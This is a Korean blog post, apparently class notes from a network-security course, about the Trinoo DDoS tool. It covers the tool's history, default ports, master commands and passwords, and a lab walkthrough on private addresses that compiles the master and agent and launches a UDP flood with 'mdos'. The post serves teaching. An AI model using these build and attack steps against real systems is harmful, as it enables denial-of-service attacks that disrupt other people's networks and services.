본문 바로가기
인프라 7기/네트워크 보안 공격 기법

DDoS(Distributed Denial of Service) 공격 - Trinoo

by 킹버거 2023. 5. 15.

월-하! 월요일 하이라는 뜻

오늘은 3명 밖에 없어요. 너무 즐거워요.

근데 수업을 하 조금 .. 덜 즐거워졌어요.. 

제 속도 모르고 행복한 쿼카를 보세요. 너무 귀엽지 않나요. 


 

개요

- 최초 유포 시기: 1999년 6월 말 - 7월 

- 처음 발견된 곳: 미네소타 대학 사고의 주범. 솔라리스 2.x 시스템, 최소 227개 시스템이 공격에 쓰인 것으로 알려져 있음

* 솔라리스 시스템이 사용된 이유: 대학에서 보통 솔라리스는 사용하지 않고 방치해둠. 따라서 공격에 사용돼도 알아차리지 못 하는 경우가 많음.

- UDP를 기본으로 하는 공격을 시행하며 ‘statd, cmsd, ttdbserverd’ 데몬이 주 공격 대상

* UDP가 공격에 사용되는 이유: UDP는 혼잡 제어 기능을 하지 않아 빠르기 때문이다.

 

* Trinoo는 기본적으로 아래 표와 같은 포트 번호를 사용하지만 소스 코드에서 임의로 변경이 가능하다.

접속자 대상 프로토콜 포트
공격자 마스터 TCP 27665
마스터 에이전트 UDP 27444
에이전트 마스터 UDP 31335
에이전트 공격대상 UDP  

 

명령 마스터 작동중지
die 마스터 작동 중지
quit 마스터 logout
dos(mdos) IP IP를 대상으로 공격
mtimer N 공격시간 지정 N은 1~1, 999까지 (d:300)

 


DDoS 공격 - Trinoo를 이용한 공격 실습

#1. Trinoo master 컴파일 (192.168.11.36, centOS6)

#mkdir trinoo                   

#tar -xvf trinoo.tar            // Trinoo 소스 압축 풀기

- 압축은 반드시 (trinoo, 임의 변경 가능) 디렉터리에서 해제한다.

# cd master/

# make

 

#2. 에이전트 컴파일과 실행 (192.168.11.17)

- master에서처럼 trinoo master 컴파일 과정을 거친다.

* 위 과정 참고

 

- daemon/ns.c 파일에 마스터 IP를 지정해 준다.

# vi daemon/ns.c


/* #define PROCNAME "httpd" */
char *master[] = {
   "192.168.11.46",
   NULL
};

- 수정된 ns.c 파일은 master 디렉터리로 이동하고 Makefile을 수정한다.

vi Makefile


#slackware..
#LIBS=
LIBS=   ‐lcrypt
master: master.c blowfish.c
        gcc ‐o daemon ns.c blowfish.c ${LIBS}
        strip daemon

- make 명령을 이용하여 컴파일한다.

- daemon을 실행한다.

 

#3. 마스터 실행 (192.168.11.36)

- master 디렉터리에 master를 실행한다.

- 암호는 gOrave이다.

#4. 공격을 위해 master에 접속한다. (192.168.11.36)

- telnet 192.168.11.36 27665로 접속한다.

- 암호는 'betaalmostdone'이다.

- trinoo> 에서 명령을 내릴 수 있다.

# telnet 192.168.11.36 27665

Trying 192.168.11.36...
Connected to 192.168.11.36.
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

trinoo>

#5. 192.168.11.7을 대상으로 공격 수행 (192.168.11.36)

- bcast 명령은 에이전트 목록을 검색한다.

- mdos 명령을 이용하여 대상을 공격한다.

 

# trinoo> bcast                            //에이전트 목록 확인,  에이전트 목록이 떠야 공격이 가능하다.

# trinoo> mdos [IP]                     // 공격 수행

 

• bcast명령에 에이전트가 반응하지 않으면 deamon을 재실행한다. 


• Master와 Agent를 같은 시스템에서 실행해도 된다. CentOS6(32bit) 이하를 이용한다.

같은 시스템에서 Master와 Agent 모두 실행하려면 다음 매뉴얼을 따른다.

vi Makefile
master: master.c blowfish.c
        gcc -o master master.c blowfish.c ${LIBS}
        strip master
make                    		// master 파일 생성 

cp Makefile Makefile2              

vi Makefile
daemon: master.c blowfish.c
        gcc -o daemon ns.c blowfish.c ${LIBS}
        strip daemon
        
make  					// daemon 파일 생성

./daemon				// daemon 실행

./master				// master 실행

 

** 아주 잠깐동안 매우 많은 수의 패킷이 전달됨.

** 공격에 참여한 에이전트의 상태도 공격 대상과 별 다를 것이 없다. ( 마스터 제외하고 다 망가진다는 뜻)

 


[공격 대상 PC 상태 확인]

> 매우 멀쩡. 왜 그럴까? 에이전트 수를 늘려봐야 하나?

 

[와이어샤크 패킷 분석]

마스터에서 에이전트로의 패킷은 발견되었지만 에이전트가 공격대상자에게 보내는 패킷이 발견되지 않음. 왜일까? 

 

아마 에이전트가 CentOS7이어서 그런 것 같다. .. ,. ,.  ,., >> 문제 해결 완료! 정답이다! trinoo는 32비트의 운영체제를 사용해야 한다. 

> 에이전트(겸 마스터)의 상태도 정상이 아니다. ctrl + c 를 눌렀음에도 프롬프트가 뜨지 않는다. 패킷을 너무 많이 보내서 망가진 것이다.